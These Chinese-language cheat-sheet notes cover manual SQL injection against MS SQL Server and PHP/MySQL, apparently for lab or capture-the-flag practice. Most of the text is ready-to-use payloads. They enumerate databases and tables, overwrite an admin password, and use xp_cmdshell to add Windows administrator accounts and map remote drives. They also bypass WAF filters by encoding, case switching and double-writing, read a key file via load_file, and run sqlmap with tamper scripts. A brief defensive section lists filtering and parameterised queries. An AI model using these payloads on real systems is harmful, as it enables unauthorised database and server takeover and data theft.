ms sql server
- 判斷注入點:
and 1=1
返回正常and 1=2
返回錯誤
✌以下注入判斷都是通過錯誤信息來進行查詢數據,和修改數據庫
- 判斷版本號 :
and @@ version>0
: mircosoft sql server :t5.0->win2000 server ,nt5.2->win2003 ,nt6.1->win7 - 判斷當前連接的數據庫用戶
and user >0;
- 判斷當前連接數據庫名
and db_name()>0;
- 判斷其他庫:修改dbid值:
and (select name form master.dbo.sysdatabases where dbid=6)>0
- 判斷表名:
't_jiaozhu':and (select top 1 name from sysobjects where xtype='u' and status>0)>0
- 判斷其他名:
and select(top 1 name from sysobjects)
- 判斷列名:
and(select top 1 col_name(object_id('admin'),1) from sysobjects)>0
- 判斷值:
and (select username form admin)>0
- 修改密碼:
; update article.dbo.admin set password='bbbbbb' where username='admin' ;- -
注:以上表的信息需要對sql server的結構非常熟悉,可以先學習一下數據庫裏面的表結構
??提權
1.sql server 提權 sa==system>administrator
- 新建數據庫用戶: ·
;exec master..sp_addlogin name ,888888; - -
- 查看數據庫用戶:
程序—mssqlserver—企業管理器—安全性—登錄:刷新
- 提權:hyq用戶加入到sysadmin組:
;exec master..sp_addsrvrolemember name ,sysadmin;- -
- 獲取sa口令:
sqlmap.py -u "注入點" - - password
- 利用漏洞:數據庫連接工具:navicat for mssql
2.操作系統提權
- 新建系統用戶:
;exec master..xp_cmdshell 'net user tx11988 888888 /add'
- 提權:
;exec master..xp_cmdshell 'net localgroup administrators txl1988 /add'
- 漏洞利用:遠程桌面:mstsc
- ipc空連接:
net use \\ip\ipc$輸入用戶名密碼,
- 磁盤映射
net use k: \\ip\c$
3.向系統寫文件
;exec xp_cmdshell 'echo aaa> c:\a.txt'
4.防禦xp_cmdshell
- 刪除 xp_cmdshell:
;exec master..sp_dropextenderproc 'xp_cmdshell'
- 恢復:
;exec master..sp_addextendedproc 'xp_cmdshell ', 'xplog70.dll'
(因此在刪除的時候要將xp_cmdshell和xolog70.dll一起刪除) - sqlserver2005及以上:恢復:
exec sp_configure 'show advanced options' ,1; reconfigure; exec sp_configure 'xp_cmdshell' ,1; reconfigure
- 終極防禦:防未公佈漏洞:基於cmdshell 反彈:
%system%system32\cmd.exe
刪除所有默認權限,然後添加administrator所有權限 - 注入腳本:noinject.asp過濾關鍵字:and or union update insert xp_ sp_ exec 等防post,get cookie提交哪個腳本有漏洞
- 日誌分析:查找’and%’
- 參數化查詢:數據庫對象
- waf:web application firewall硬件
Php+mysql
- 數據庫賬戶密碼:config.inc.php
- PHP安全性:php.ini gpc=on時注入特殊字符時會進行轉義
- 繞過:使用編碼:%27;雙編碼繞過:%2527 寬字節繞過:%df’—>%df%5c’—>
- and left(boardname,1)=‘a’
- union 聯合查詢判斷前表查詢的列數:union select 1,2,3…來查詢;萬能匹配:null
- oracle: select null,null,null from dual
- 判斷回顯位:如果前表出錯,就會返回侯彪結果,參數值負數:id = -1 (id =-1 union select 1,2,3,4,5)3,4顯示出來則表明3,4爲回顯位
- 讀文件:load_file(c:\boot.ini)(若被攔截,則轉換爲16進制hex)
sql手工注入
- 判斷過濾內容:
- union select 空格
- select * from article where id= (‘1select’)
- a.編碼,雙編碼:
- b.大小寫轉換: uNiOn UNION
- c.雙寫:uniunionon
- 空格繞過:
- /**/,tab %0a %0b(垂直tab)%0c %0d
():select(id)from(admin)
``:select`id`
- 構造sql語句完整性:
註釋:
mssql:–
mysql:–%20
#:%23
//
;
–+
– -
/**/
- 閉合:
select * from article where id= ('1select') ')uniunionon select%23
- .構造payload:
- a.判斷前表列數;
')/**/uniunionon/**/select/**/1,2,3/**/%23 出錯
')/**/uniunionon/**/select/**/1,2,3,4/**/%23 正常
order by n
')/**/order/**/by/**/4%23
- b.判斷回顯位:
id=-1’)//uniunionon//select//1,2,3,4//%23
2,3,4都可以 - c.讀key:
id=-1’)//uniunionon//select//1,load_file(’/tmp/360/key’),3,4//%23
sqlmap讀:
-v 3:顯示詳細payload
真假判斷:-level 3
sqlmap目錄下/tamper:穿waf
sqlmap.py -u "http://172.24.106.204:81/vulnerabilities/fu1.php?id=1" --file-read=/tmp/360/key --tamper "space2hash.py"